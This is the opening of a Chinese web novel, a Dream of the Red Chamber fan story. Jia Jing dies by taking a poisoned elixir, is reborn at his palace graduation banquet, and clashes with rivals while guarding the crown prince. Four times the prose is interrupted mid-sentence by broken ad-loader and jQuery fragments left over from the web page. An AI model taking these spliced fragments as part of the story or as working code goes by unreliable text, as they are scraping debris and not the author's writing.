《红楼之富贵闲鱼》 1. 第 1 章 夜色如水,月光透过薄雾,穿过玄真观西跨院厢房的窗棂,洒下一地银霜,静谧寂寥。 屋内未点灯,一人独坐于榻上,如古井一般黑沉无边的眼眸静静望着一旁的桌案。桌案之上放置着一枚如鸽子蛋大小般的丹药,在月光下,反射出淡淡光泽。 贾敬轻捻起那枚丹药,眉眼微垂紧盯着,望着望着,眼神便有了一丝恍然,他又听见了…… 【太子殿下,这可是能够延年益寿,包治百病的仙丹!】 【您就服下吧……】 “延年益寿,包治百病……”贾敬喃喃。 丹药凑近时,便闻到一股腥臭味,令人忍不住作呕,与那迷惑人的表象,相差甚远。 贾敬像是没闻到异味,目光空洞失神,但手中的动作却毫不犹豫,他将那枚丹药吞下,便径直仰躺下,双手放于腹前。 丹药在口中化散,腥臭味伴随着苦涩瞬间在口中蔓延,随后丹药入腹。 他的身体控制不住地颤抖起来,丹药滑过之处皆如同被烈火灼烧,疼痛难忍。 “嗬嗬嗬……” 他嘴大张着,粗喘着气,呜咽出声。胸腔像是被千斤石压着,又像是伤口上浇筑了烈酒,被火舌舔过。呼吸的每一瞬都仿佛被钝口的锯齿磨过,漫长煎熬。原本交握放于腹前的手紧紧抓住胸口的衣襟,划出道道痕迹。 这就是他们口中所说的仙丹啊…… 原来,会这么痛。 这样的痛,三十年前他就应该体验了。 贾敬微睁的眼中诡异的闪过一道光芒,绀紫的唇弯起,露出一抹狰狞怪异的笑。 “淮哥,等我啊……” 迟了这么些年……他早该死了。 他的眼神逐渐涣散,眼前已经漆黑一片,脸上却是解脱之意。 至于不久后天明,兵荒马乱早已经与他无关了。 “砰!” 小道童铜盆砸地,惊呼出声: “快去宁国公府禀报!老爷功满,升仙宾天了!” · 【箕裘颓堕皆以敬,家事消亡首罪宁……】 【这一切,由你起,也应由你解,回去吧。】 “培元兄,你不是说出来取花,怎么在这儿睡了?” 贾敬在一双手的推搡下,缓缓睁开眼。 他望着面前面生的年轻后生,目光略显茫然,他不是已经吞丹自殁了吗? 难道真的到了仙人所在的地方? 下一瞬,一道温热贴上了贾敬的额,无论是温度还是这样的接触,都令他骤然一惊,向后仰去。 对面那人也像是被吓到,猛地收回手,整个人显得有些局促,连忙解释道: “见培元兄脸色泛红,便以为是刚刚在这儿见着风了,冒犯了。” 贾敬并未回应,他微微垂目,藏于袖中的手紧紧攥着。无论是指甲掐入的刺痛,还是手心里传出热意,都在向他传答一个消息——他还活着。 “若是培元兄无碍,我们就快些去吧。那头琼林宴快开始了,可不能误了时辰。” 贾敬一怔,琼林宴? 他眼睛稍稍转动,目光落在了自己的衣服上,瞳孔一缩。 深蓝色衣袍,罩蓝纱衫,颜色比一般的生员襕衫深上许多,这是……进士巾服! 这套衣服,他一生也就穿过一次。 那便是天丰二十三年,乙卯年,他二十岁中进士时。 贾敬下意识看向方才抚上腰间黑色革带的手,骨节修长分明,皮肤紧致,除了练字射箭落下的微微薄茧,丝毫不见半点岁月侵蚀的痕迹。 与他那双宛如枯木的手截然不同,这具身体里也拥有着他久违到陌生的活力和轻松。 贾敬的心先是漏了一拍,紧接着越跳越快。他抬眸看向对面的年轻人,好似有些印象,可时间太过久远,他已经记不起是谁了。 这人与他同穿进士巾服,头戴进士巾,两边是细长的展角,挂着皂色垂带,随风漂浮,两鬓还簪了花,翩翩儿郎。 贾敬紧接着环顾四周,尘封的记忆一一浮现。 这里是琼林苑,是皇家行宫,亦是为新科进士举办琼林宴的地方。 “琼林宴?” 贾敬目光对上面前之人,眼眸微微眯起,问了句。 他真的是回到了过去,还是…… 那人面对贾敬的问话,也是一愣,贾敬慑人的目光更是让他有些紧张, “是、是啊,培元兄莫不是睡蒙了?将这件事忘了。” 贾敬当然不会忘记,在这宴会上,他迎来了最意气风发的时候。四王八公十二侯这帮子老勋贵里,且不说有几人能科举获得功名的,也不及他将将弱冠之年,便进士及第。 然而山顶到深渊,可能也只是一步之遥。 就在琼林宴结束后,贾敬还在沉浸于金榜题名的喜悦,对未来仕途踌躇满志,他终于可以为那个人,做些什么了。 然而噩耗传来,他的同胞兄长贾敷,已经承爵的一等神威将军于城外庄子意外坠马,英年早逝,年仅二十又五,这一切宛如晴天霹雳。 贾敬刚脱下那件象征着荣誉的进士巾服,便换成了素白的孝服。原本光亮的青云坦途,自此蒙上了乌云。 突如其来的变故,不仅是贾敬这位视长兄为父的弟弟接受不了,宁国府乃至整个贾家也对自家精心培养的族长逝世感到悲伤和惋惜。 不得已,贾敬挑起家族的重担,撑起宁国府的门楣,年纪轻轻成了一族之长。兄长留下一子,也过继到他名下,只待及冠成年后承袭家中爵位。 他自己进士及第,自然想在朝堂上寻求出路。他不仅要撑起家族,他还要成为那个人的左膀右臂。 然而,紧接着的年末宫变,彻底击垮了贾敬。 萧淮川遭人陷害,污蔑身死,他亦心如死灰,没了念想。 而眼下,他重回到了天丰二十三年,昔日种种如过眼云烟。那个人还是德行卓绝,万臣敬仰的太子殿下。 贾敬的胸口剧烈起伏着,呼吸急了几分,嘴微微张着,微垂的眼中是难掩的激动情绪,如汹涌的潮水在翻涌,其中甚至藏了一抹癫狂。 那个曾在他脑海深处反复勾勒描摹了数十载岁月,却仍无法阻止面容身影逐渐模糊消散的人,终于能再次出现在他面 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 前了吗? “阿元,立于此处,可是为了等孤?” 一道清冽和缓带着磁性的嗓音在贾敬耳边响起,陌生又熟悉,让贾敬忍不住一怔。 他茫然失措地抬起头来,目光恰好撞进了那双饱含忧虑之色的凤眼里。 刹那间,周围的一切都变得模糊起来,唯有那对深邃平静如清湖般的眼眸格外清晰。 贾敬怔怔地凝视着对方,嘴唇轻颤,喃喃自语道:“萧淮川……” 声音细若蚊蝇,几不可闻,可此中深意和复杂情谊,也仅贾敬自己知晓。 这一切都是真的吗? 还是,这只是一场梦…… 萧淮川的眼眸中滑过一丝诧异,贾敬鲜少这样直呼他的名讳。 尤其是近些年,年岁上长,识了礼数,连原先的“哥哥”都不曾唤了,只是尊敬的“太子殿下”,关系也愈发疏远了。 贾敬身边那位新科进士听贾敬直呼太子名讳,顿时被吓得浑身一颤,脚下一个不稳,险些跌倒在地,紧接着深深作揖。 “见、见过太子殿下!” 他还为大着胆子为贾敬辩解道:“培元兄刚刚在这儿见着风了,这才口不择言,说了些胡话,太子殿下仁厚,请莫要怪罪!” 说着还拉了拉贾敬的衣服下摆,示意他请罪。 贾敬敛了心神,跟着作揖,嘴上念着请罪,“请太子殿下恕罪,臣方才出言无状……” 可他话音未落,便感觉到一双有力的大手稳稳将自己扶起,还顺道让旁边那位也平了身。 刹那间,贾敬身体一僵,他轻轻呼出一口气,生怕动作大些,面前之人就会随着他的气消散了。 萧淮川的语气更加担忧关切,“阿元,身子可是哪里不适?” 说着,他就要伸手去触摸贾敬的额头,贾敬下意识地躲开,抬手却握住了萧淮川伸来的手腕。 两厢触碰间,指尖传来的温热真实之感,让贾敬的手指微微摩挲。 萧淮川感受着手腕上传来的触感,对于贾敬近似调情的动作,他心中不禁涌起一股异样的感觉。 可……怎么可能呢? 他抬眸与贾敬的目光交汇,那双眼里仿佛藏着千言万语,却又欲言又止。 其中情愫的复杂交织令萧淮川不解,他刚准备说什么,手腕一松,只见贾敬迅速丢开了萧淮川的手腕,将手藏于了袖中。 萧淮川望向贾敬的目光,惊诧中带着不解,今日的贾敬,太过反常奇怪。 “阿元,你……” “臣只是太过兴奋,冒犯了殿下,请太子恕罪。” 贾敬敛眉,遮掩住复杂激动的神情,努力稳定心神,答了这么一句。 话已至此,萧淮川即便知道贾敬藏了什么,也不便再多问。 他抬了抬手,后面一位小太监手托木盘上前。 贾敬望去,上面正是放着两朵绢制宫花。 萧淮川温润一笑,“阿元,这是孤为你准备的簪花。” “孤为你簪上。” 此话一出,贾敬旁边那位眼珠子都要瞪出来了,这就是贾培元所说的,出来找簪花? 2. 第 2 章 贾敬先是一愣,接着准备说什么,就又听萧淮川道: “琼林宴快开始了,莫要耽误了时辰。” 一句话,将贾敬想要拒绝的话堵在了喉咙中,只能无奈地应了一声: “有劳。” 这样的感觉,贾敬已经久违数十载,这便是他记忆里熟悉的那个萧淮川。即便知道他人不愿,也能说出巧妙的话,让人拒绝不得。 萧淮川嘴角微不可查的勾了勾,拈起托盘上的宫花,向贾敬靠近。 贾敬的脸紧绷着,瞧着似是有些不悦。 萧淮川垂眸就看到了这一幕,眉头微微动了动,接着像是什么都没看见一般,舒展眉头,缓缓将宫花簪到了贾敬的鬓边。 朱红鲜艳的精致绢布宫花,栩栩如生,金线勾勒出金黄花蕊,光彩夺目,若是换了旁人,或许都会被这花夺了风采。 然而这宫花衬上贾敬那张清逸隽秀如白玉般的脸庞,再配上他那双不笑都显得多情的桃花眼,倒是连宫花都失了几分颜色。 萧淮川手轻抚着绢花花瓣,低眼微怔,面对眼前如画的眉眼,他有些失神。他印象里那位跟在他身后喊“哥哥”的小童,如今也已经长成了这幅模样。 贾敬并未抬头,只是向后一退,“谢殿下。” 萧淮川从容收回悬在空中的手,夸赞了句,“这宫花和阿元极为般配。” “这身进士巾服,阿元穿上,甚好。” 贾敬又是中规中矩地作揖,“谢殿下。” 他始终没有抬头,行为规矩,没丝毫错处。 萧淮川盯着贾敬看了几息,随后拂袖转身离去。 “走吧,别误了良辰。” 贾敬却没有及时跟上,他目光沉沉盯着地面,不知道在想些什么,又像是在发呆。 “培元兄,怎么还愣住了?” 旁边那位新科进士则是急得又催促了一声,他是看出了,这位同年果然如传闻中的那样,出身勋贵之家,与皇亲贵胄们关系密切。这不,连太子殿下都亲自为他准备宫花,还亲手戴上。 可观他这位同年,倒是显得几分不愿意。 贾敬回过神来,缓缓直起身子,看向这位他依旧没想起姓名的同年,扯了扯嘴角,语含歉意,“抱歉,刚刚走神了。我们走吧。” 然而,无人察觉他藏于袖中的双手早已紧握多时,掌心深深地掐出了印痕,汗水渗透了层层衣物。 没人知道,方才萧淮川为他戴花凑近时,那股环绕着他周身的清冷松香气息,对贾敬来说是何等的沉醉着迷。 那是在前世的每一个夜晚,每当他午夜难以入眠时,都会拼命寻找的熟悉味道,那是能让他安心入睡的香气。 但他所追寻的又岂止是那一抹清香呢? 当那味道蔓延,将贾敬紧紧包裹住时,他的身体不由自主地战栗颤抖,他的心在胸膛里剧烈跳动。 他渴望上前紧紧拥抱住萧淮川,迫切地想要确认眼前的一切并非虚幻,并非是他死前的一场美梦,而是真实存在的事实。 他真的回到了过去,萧淮川依旧还活着。 可是,他不能,亦不敢。 若是真的是一场梦境,他这般上前,美梦是否就会消散? 若是真的回到了过去,那么他更加不能如此。 无论是萧淮川的身份,还是如今宁国府的处境,亦或是他对萧淮川堪称大逆不道的情愫,都不能轻易暴露。 任何不慎都能让他们万劫不复。 他重来一世,又怎么能眼睁睁看着他所爱之人,重蹈覆辙? 而当务之急,是阻止明日贾敷从京郊庄子回京坠马一事。 前世长兄贾敷坠马身亡,宁国府乃至荣国府都动用了关系,去严查贾敷坠马一事,可得到的结果,皆是意外。 但贾敬不信,此后的多年时间里,他一直没有放弃,暗中调查。就在有眉目的时候,太上皇禅位,新帝登基,空悬二日,二圣临朝。他们这些没实权的勋贵们,就成了二圣博弈的棋子。 贾敬这位进士出身,承载了兴复家族的老勋贵,变成了出头鸟的靶子。 两相博弈间,贾敬也已经窥探出二圣对于宁国府的心思,为保全家平安,他只好弃了官身,离了朝堂,又迎合当下时兴和新帝喜好,装作自己潜心修道,不问世事。爵位也按照当年的约定和计划,一并给了他的嗣子,贾珍,他大哥当年仅剩的唯一儿子。 虽然贾敬恨不得现在就飞回宁国府,可琼林宴是圣上宴请新科进士,又怎么能不参加? 况且他此次高中,本就已经惹了圣上的注意。 贾敬这边心中思忖,脚步却不停,跟着那位不知名同年并肩而行,跟在萧淮川的仪驾之后。 而那位同年终究年轻,耐不住这长道的寂寞,以及方才萧淮川拂袖离去的惶惶不安,身子朝贾敬这侧歪了歪,悄声问道: “培元兄,方才太子殿下可是恼了?” 贾敬侧目,望着脸上略带惊慌的同年,面色如常,“怎么会?太子殿下向来宽恕仁厚,更何况,刚刚并未发生什么事啊?” “太子殿下因何恼怒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?” 那位同年眨了眨眼睛,下意识咽了咽口水,一副你是真不懂还是假不懂的模样。 方才那样拒绝太子的好意,还冷脸相待,如今还问太子如何恼了? 贾敬假装不知他的意思,轻轻一笑,“谢兄长为我担忧。” 同年听贾敬这般称呼自己,顿觉受宠若惊,连忙道:“培元兄称我的字便好,我字子虚。” 贾敬眼眸微动,顺口答道:“子虚兄较我年长,唤我培元就好。” 他前世并没有什么交好的同年同窗。 科举之路多是寒门举子,自诩清流,向来看不上勋贵子弟。 贾敬也自认为和他们不是一路人,他有自己的小圈子,读书那会儿,更是只追在萧淮川身后。 后来远离朝堂,他的这些同年如何,他更是不知了。 贾敬看似不经意问道:“听子虚兄口音,似是南方人?” 子虚有些惊讶地望着贾敬。 贾敬不动声色:“可是猜错了?” 子虚连忙摇头,讪讪一笑,“我还当自己官话说的不错,没想到培元兄还能听出来。” “我是南省扬州人。” “倒是巧了。”贾敬轻笑一声。 子虚不明白,“什么巧了?” 贾敬:“子虚兄恐怕不知,我祖籍金陵,和扬州紧挨着,这还不算巧吗?” “江南人杰地灵,才子辈出,子虚兄这次高中,也算是光耀门楣了,不知子虚兄出自扬州哪家名门?” 子虚被贾敬这么一夸,脸上微微泛红,开口都变得局促,“比不得培元兄。” 他虽只是这些时日进京赶考,可也在其他同年那里听说了这位贾敬贾培元的家世,出身敕造宁国府,祖父贾演是随着太祖争天下的超品国公。 “家父扬州通判宋知河。” 这下子轮到贾敬惊讶了,没想到还是个官宦子弟。虽说扬州通判只是个地方六品官,可在扬州那等富庶的地方,升职调任回京不过是早晚的事。 “子虚兄人如其字,过分谦虚。” 贾敬和宋子虚一路寒暄,早就引起了前方仪驾上萧淮川的注意。 他时不时地朝身后看去,仪驾也非常有眼力劲儿的变慢,与贾敬宋子虚的距离也越来越近。 兄长?子虚兄? 萧淮川听着有些吃味。 他喊得倒是亲热,怎么和自己就愈发疏远了?刚刚自己不过是为他簪了花,就朝自己挂了脸…… 而且,今日的阿元给他的感觉,好生奇怪。 3. 第 3 章 太子仪驾到底尊贵,到了琼林宴定下的位置后,便与贾敬和宋子虚分道扬镳。萧淮川本想跟贾敬交代几句,又念及贾敬方才对自己的抗拒,便因此作罢。 还是先参加琼林宴,贾敬的异样之后再探究吧。 贾敬与宋子虚原地站定,低首垂眸,待太子仪驾走远后,贾敬才直起微弯的腰,视线望着仪驾方才离去的方向。 萧淮川是因为刚刚自己的态度,生气了吗? 贾敬嘴角溢出一丝苦意,若不是那样刻意对萧淮川摆出冷眼,他那疯魔的模样大抵会将萧淮川吓到吧? “培元,我们快进去吧。”宋子虚见贾敬望着前方发呆,若有所觉,却什么也没说,只是在一旁提醒了声。 贾敬颔首,“子虚兄先请。” 两人脚步匆匆,进了宴席。除了尊位空悬,此时大多数人也已经落了座。 贾敬和宋子虚一进来,立刻吸引了众人的目光。 如今贵人还未到场,在座的皆是今朝同一年高中的新科进士,按照规矩应该互相称呼一声“同年”。 若说京中勋贵们多数是以联姻为纽带,相互之间关系紧密,那么通过科举入仕的这些清流官员,则是依靠“同乡、同窗、同年”这三种关系来建立自己的人脉,来拉近彼此的关系。 可贾敬的这些“同年”们,对贾敬的态度异常冷淡,甚至是带着敌意。在他们大多数人眼里,贾敬这位出身世家大族的勋贵子弟,不靠着祖宗荫蔽,反而抢了他们寒门子弟的门路,强行挤进他们之中,就像是一群羊圈里挤进了一匹狼。 因此贾敬姗姗来迟,和宋子虚刚在空座落座,便就有人挑了话头。 那人就坐在贾敬的正对面,瞧了眼贾敬鬓边簪着的明显与他们不同的宫花,眼底闪过一丝微不可察的嫉妒。 但他倒是没直接对上贾敬,而是将矛头指向了和贾敬一起进来的宋子虚,看似半开玩笑道: “宋子虚,你巴巴跟着出去,怎么没跟着换朵花啊?” 此话一出,宋子虚先是一愣,他的宫花又没出问题,换什么花? 紧接着宋子虚就反应过来,有些狐疑地望着对面那位同年,思考他说此话的寓意,就又听那人说着:“瞧着贾二爷也没领你的好啊。” 宋子虚这下可以肯定,这人是在刺他狗腿,上赶着讨好贾敬? 而贾敬并未出声,也看向了宋子虚。这位同年,贾敬于前世的记忆里,当真没留下多少印象。 前世里宋子虚也这样接近过自己吗? 他已经记不清了。 因此对于这位同年接近自己的目的,贾敬也很好奇。 宋子虚也不怵对面那人,脸色立刻便冷了下去,“李玉衡,我倒是不明白你的话了,我的宫花又没坏,换什么花?” 李玉衡瞥了贾敬一眼,怪声怪气道:“我们的宫花皆没问题,就他贾二爷金贵,御赐的宫花都配不上他?” 他这次也不掩饰了,一口一个贾二爷,直接讽刺贾敬仗着出身高贵搞特殊,还话里挖了个坑,特地强调他们所戴的宫花都是御赐,而贾敬居然敢嫌弃。 若是落在圣上耳里,少的不一个藐视皇恩,大不敬之罪。 贾敬稍稍昂首,桃花眼微垂,轻嗤一声。 他虽不记得许多事情,但宫花这件事,他还真的记得。 那是他曾经与萧淮川的一个约定。 倘若他考上进士,鬓边的宫花便由萧淮川为他准备,思及往事,贾敬的眼神不由得变得迷离。 彼时,他不过十五岁,还未认清自己对萧淮川的感情,天真懵懂,毫不避讳地与萧淮川亲近,焦不离孟。 清明历来有簪花同游的习俗。贾敬受萧淮川邀请,于曲江行宫踏青。 贾敬那会儿玩心尚重,这又是萧淮川的地盘,自然放开了玩,因此也被他找到了一处别外洞天。 他满眼惊艳地望着前方巨大的粉色杏花树,又偷瞄了眼旁边负手而立的萧淮川,眼里闪过一丝狡黠,抬脚迈步朝杏花树跑去。 跑到一半,贾敬转身朝萧淮川挥手,“淮川哥哥,过来呀!” 萧淮川见状,对于贾敬此举倒是见怪不怪,无奈笑了笑,便也跟上了。 贾敬来到杏花树下,紧接着跟只顽猴似的,一下子窜到了树上。 “阿元!” 萧淮川脸色微变,眼中多了几分担忧,脚步加快来到树下。 “怎么还如此胡闹?快些下来。” 萧淮川说着,已经张开了双臂,一副要护着贾敬的模样。 贾敬一脸笑吟吟,非但没听话下来,反而在粗壮树干上坐下。 “贾敬!给孤下来!”萧淮川语气更加严肃。 贾敬暗道不妙,他的淮川哥哥向来对自己温声细语,如今都直呼他的大名了。 他讪讪一笑,“淮川哥哥别恼,我这就下来。” 萧淮川这才面色稍霁,还不忘叮嘱,“你慢些。” 贾敬顺着主枝干缓缓站起,脚踩着横着的枝干,在萧淮川没注意的地方,勾起了唇角。 “簌簌!”一声,杏花树枝干摇晃起来,一阵风吹过,粉白色的花瓣随风飘去,落了萧淮川满头。 萧淮川此时却顾不上这些,他双眼紧盯着站在粗树干上蹦跶,晃悠着杏花树的贾敬。 贾敬的举动无疑让萧淮川的心提到了嗓子眼,刚想要张口,又怕自己忽然出声,惊到贾敬,让他真的失了足,掉下树来。 于是萧淮川只好强压下心中的焦虑,尽量用平稳的声音喊道: “阿元,先下来。” 心里却想着,待会儿贾敬下来,到底要怎么收拾这只顽猴,让他长长记性。 贾敬低头,脸上挂着笑,满意地望着杏花沾满身的萧淮川,点到为止。 他也知道,若是再调皮下去,平日里冷静自持的萧淮川可能都要亲自动手揍自己了。 不过是看萧淮川有些心事,想要逗逗他,贾敬也不想自己真的摔断腿。他小心地顺着枝干滑了下来。 而在一旁盯着的萧淮川,更是紧张的屏住呼吸,生怕自己呼吸重了,惊到了贾敬。视线也定在了贾敬身上,准备随时伸出手。 直到贾 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 敬安全落地,萧淮川悬着的一颗心才总算落回原位。 贾敬脚踩在实地上时,自己也跟着呼出口气,一回头,对上萧淮川担忧关切的目光,贾敬心头一暖。 “玩的开心吗?” 下一秒,萧淮川开口,贾敬听着一副咬牙启齿的意味,心虚地朝后挪了挪,眼神躲闪,支支吾吾。 萧淮川上前一步,伸手,贾敬猛地闭上眼,大喊,“淮川哥哥我错了!” 接着就略显可怜巴巴道:“能不能轻点打?” 萧淮川望着面前闭紧双眼的少年,因害怕而频繁颤抖的睫羽,淡粉的唇紧紧抿着。 “唉。” 萧淮川最终只是无奈叹了口气,自己养大的,还能真打了不成? 见少年原本白皙的脸上因刚刚顽皮,蹭了许多灰,像极了沾了灰渍的白瓷,刺眼得很。 萧淮川原本想要收回的手又向前伸去,轻轻抚在了少年脸颊。 本就闭着眼,对周围的感知都放大许多,脸上忽然贴上一片温热,让他忍不住一颤,骤然睁开眼,就撞进萧淮川轻垂的眼眸,眼里的专注,不知道的还以为他在处理什么家国要事。 萧淮川指腹在贾敬的脸上轻拭着,将贾敬脸上的灰渍擦了个干净,才收回了手。 “跟花猫似的。” “下次可不能再这样冒险了,你知道我会担心的。” 贾敬更加心虚,他咧嘴一笑,想蒙混过关,忽然目光落在萧淮川发梢及肩头上沾着的粉白杏花瓣,脱口调笑道:“我看淮川哥哥像花神。” 萧淮川若有所感,侧目朝自己肩头看去,这才注意到,因为刚才贾敬顽皮摇杏花树,落了满身杏花,“尽说胡话。” 贾敬歪了歪头,“清明踏青自然该簪花,淮川哥哥既然没簪花,阿元自然要为淮川哥哥添上。” 萧淮川一怔,他倒是没想到,贾敬竟然是存了这个心思。 他伸手捻起一片杏花,喟叹一声:“女郎折得殷勤看,道是春风及第花。” “啊,这句我知道,是郑谷《曲江红杏》。”贾敬略显得意答道,他又是想起什么,嘿嘿笑了,“倒是巧了,如今我们也在曲江,也有杏花。” 萧淮川:“杏花也称及第花,这花该阿元佩戴。” 他说着就要将那朵杏花戴于贾敬鬓边,没想到却被贾敬躲了去。 “怎么了?”萧淮川纳罕。 贾敬轻抬下巴,“我要戴就戴真的进士宫花。” 少年意气,肆意,夺目。 萧淮川收了手中的杏花,含笑答道:“好,若是阿元高中,那进士宫花就由我来准备。” 贾敬凑近,“我要最好看的那朵宫花。” 萧淮川怎会不应?他养大的少年,合该用最好的。 “好。” “怎么,贾二爷无话可说了?都哑火了。” 一道刺耳挑衅的声音响起,将贾敬从回忆中拉回。 贾敬掀了掀眼皮,目光淡漠的落在李玉衡身上,似笑非笑道: “你胆子挺大,圣上的心意都敢揣测。” 4. 第 4 章 贾敬此话一出,李玉衡面色陡然一变,他明显没想到贾敬会如此回怼他,也的确慌了心神。 “你!” 宋子虚也不嫌事大,跟着说了句,“是啊,咱们这些愚人比不得李兄机灵,连圣上何意都清楚。” “你胡说!” 妄揣圣意!若是有人捏住这个不放,那么他的仕途还未开始,就已经结束了。 李玉衡此时已经慌不定神,额头冒了一层冷汗,手脚乏力,目光死死盯着贾敬。 他对上贾敬好整以暇的眼神,又注意到在座其他同年看来的目光,除了个别与他交好的,多数是在看热闹。 李玉衡只觉得像是身上披了一层荆棘,刺痛又难堪。 到底年轻,自尊心强,在这种场合只觉得自己面上挂不住,好面子的心压过了惊慌,他忽地站起身,手颤抖着指着贾敬, “贾培元!你休要给我扣脏帽子!” “是你无故换了御赐的宫花,对圣上不敬,大家有目共睹!” 李玉衡越说,越觉得自己占理,身子越愈发挺直,音量也跟着拔高。 “贾培元,你休要以为你是公府公子,我李玉衡就会向你屈服!” 他抬头挺胸,“古人云,安能摧眉折腰事权贵,使我不得开心颜!我辈读书人,自然有自己的坚守!” “况且玉衡相信,圣上圣明,定然不会冤枉了任何一个忠臣。” 李玉衡的脸都涨红了,并非羞愧,而是激动和兴奋。 而他说完,周围的气氛瞬间变得微妙,许多人面面相觑,却没人接话。他们各自心中都有不同的考量。 一部分人虽不喜贾敬,但也不想主动得罪这位公府公子,避免不必要的争端;而另一部分虽认同李玉衡刚刚所说,可也不想当那个出头鸟,因此默默观察着局势的发展,不愿过早表态,以免卷入是非之中。 “说得好!” 忽然,一道清朗的声音响起,紧接着就是几声掌声。 “我大乾有此等骨气儿郎,何愁无人?” 众人循声望去,只见一位身材颀长的青年人从厅外漫步走来。他头戴翼善冠,身着赤色盘领窄袖金色织线盘龙纹袍,腰缠螭龙纹玉带,正是本朝亲王常服,在场诸位也通过服饰确定了来人身份。 本朝亲王爵位,除当今圣上的皇叔和兄弟外,也只有一位成年皇子,封了亲王。 那便是贵妃之子,当朝二皇子,齐王萧淮洵。 原本前一年及冠封了亲王后,齐王萧淮洵就该前往齐鲁封地,奈何贵妃正得盛宠,哭着说舍不得,因此还病了一场。 圣上亦舍不得爱子,便给了特许,赐了套宅邸,又命工部精修,当做齐王在京中的亲王府邸。 此等盛宠,也让朝中众人心思各异。 而贾敬此时在努力压制着心中翻涌的情绪,袖中的手已经紧紧攥上内袖。 萧淮洵啊,如今的齐王,未来新帝最宠信的皇兄,加封二字——忠顺! 而他的忠顺王爷之位,是踩在了萧淮川的尸骨之上。 贾敬永远不会忘记,那个冬夜,他被萧淮川身边暗卫捂着嘴,躲在东宫的衣柜里,目睹神宫监掌事太监王定是怎么让人压着萧淮川,将那枚致命丹药强行喂给了萧淮川,又鬼话连篇,编造萧淮川痴迷修道,渴求长生到疯癫,服丹身亡的假话。 而新帝登基后,齐王萧淮洵加封忠顺王,向新帝讨要了王定,特命其为“奉承正”,正五品官职,前往封地,掌王府日常事务和杂务。 忠顺王爷常年住在京中,王定去了封地,可以说是代管亲王府了。 这是萧淮洵为他这位心腹安排的颐养天年的肥差。 这辈子,萧淮洵、王定……休想再伤害萧淮川! 他是从上辈子而来的怨气厉鬼,他不会放过这些人。 “见过齐王殿下。” 众人纷纷站起身来,朝着齐王恭敬地作揖行礼。 齐王的目光越过众人,落在脊背笔挺,正看着自己的贾敬,那瞳孔黝黑沉闷,像是一潭幽墨,见不到底,也看不出任何情绪。 忽的,贾敬嗤笑一声,是露骨的挑衅之意。 见贾敬毫无行礼之意,齐王眼眸沉了几分。 心道:不过是被萧淮川宠坏的蠢货,什么都挂在脸上。 紧接着齐王朗声一笑,随意地手一抬,显得潇洒不羁,不拘小节,“不必多礼!” 李玉衡方才被齐王一夸,心中早已激动得难以自持,红了脖子,此时他迫不及待接话,感激涕零道: “齐王殿下真是大贤!玉衡在此谢过殿下仗义执言。” 其余人也纷纷附和,仿佛齐王刚刚那番话已然成为了圭臬。 齐王嘴角微微勾起,他款款落座后,示意众人落座,恳切道:“诸位皆是大乾未来的栋梁之材,合该有这样的骨气和气魄。” 他又说了几句场面话,将在场这些还未踏入官场的学子们夸得满面红光,这才又将视线看向了面目表情的贾敬,开口就是熟稔的语气, “培元,本王知晓皇兄最是宠你,可如今到底已经及冠,不久后也要入朝堂,可不能这般任性了。” “你若是之后当差,还如此任性,也叫皇兄难做啊。” 齐王一副看任性顽童的模样,语重心长,既是劝导贾敬,又是关心兄长。 可话里却留了坑。按照他的话,但凡萧淮川偏向自己,那就是在徇私。 萧淮川作为一国储君,若是这样偏私,岂不是有听信谗言之嫌? 贾敬上辈子蛰伏于道观,心性就算是硬压,也已经压了出来。 即便他对于齐王这幅虚伪模样感到作呕,也能装出另外一副模样。现在还不是撕破脸皮的时候,甚至,要让齐王对自己放松警惕,以为自己是个无脑草包,更好。 贾敬的桃花眼眼尾一挑,显得凌冽了几分,语气张扬狂狷,“不过是个芝麻点儿大的小事,也值得诸君如此大论特论?” “知道的,今日是圣上款待新科进士,贺科举等第之喜的琼林宴,这不知道的,还以为是市井小民于市头斤斤计较,争执不休。” 贾敬一副无趣厌烦的模样,他这话没有指名道姓,却已经将全场在座的人都骂了进去,包括齐王萧淮洵。 被人这样指着骂,就连齐王都挂不住脸,瞬间黑了脸色,而宋子虚更是惊得张大了嘴巴。 他这位培元兄到底是何神人?不仅敢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 给太子殿下甩冷脸,还公然怼了齐王殿下。 “贾培元,你大胆!”齐王喝道。 贾敬偏了偏头,不解道:“此话怎说?” 齐王哽住,若是顺着贾敬之话说下去,便是自己认了贾敬的话,为小事喋喋不休。 他转移了话头,指着贾敬鬓边簪着的宫花,“你为何擅自换了御赐的宫花?” 贾敬抬手轻抚着那朵精致的宫花,不急不慢道:“你怎知是擅自更换?” 齐王闻言,心中冷笑,已然猜到贾敬鬓边的宫花是萧淮川所赠。 那更好,萧淮川徇私,纵容贾敬骄奢淫逸,藐视皇恩,刚好拿他萧淮川一个错处,想来明日就会有御史去参萧淮川一本。 面上齐王却是一副无奈模样,轻叹一声,“培元,即便是皇兄,那也不能擅自换了御赐的宫花,这……” 众人闻言,面容皆骇,齐王那番话就差将太子萧淮川蔑视圣上说出来了。 现在圣上虽未到,可在场的太监侍卫,哪个不是圣上的耳目? 贾敬冷眼看着齐王图穷匕见,露出狐狸尾。 齐王像是后知后觉,四处看了看,找补了句,“本王相信,皇兄定然不会……” “嘁!”贾敬冷哼,直接打断齐王的话,“谁说这宫花是太子殿下换的?” 齐王只当贾敬是嘴硬,安抚着,“本王知晓皇兄疼爱你,那些个好的玩意都想给你,可私自换御赐宫花是大不敬,培元也不能为了保皇兄,就说谎话啊。” “在本王面前说没事,可若是到了圣上面前,那便是——欺君呐!” 他话看似是对贾敬的劝诫,眼中闪烁的兴奋和恶意,贾敬又怎么看不出? “欺君的大罪,我会不知?” 贾敬斜睨了齐王一眼,一副你将我当傻子的表情。 “这宫花自然是圣上所赐。” “怎么可能?”齐王根本不信。 “为何不可能?” 是萧淮川的声音。 齐王闻言瞬间回了头,就见萧淮川扶着天丰帝从屏风后走出,也不知道他们已经来了多久。 “见过陛下。” 众人连忙站起身,深深拜去,齐王也跟着弯腰,遮掩住自己阴沉的神情。 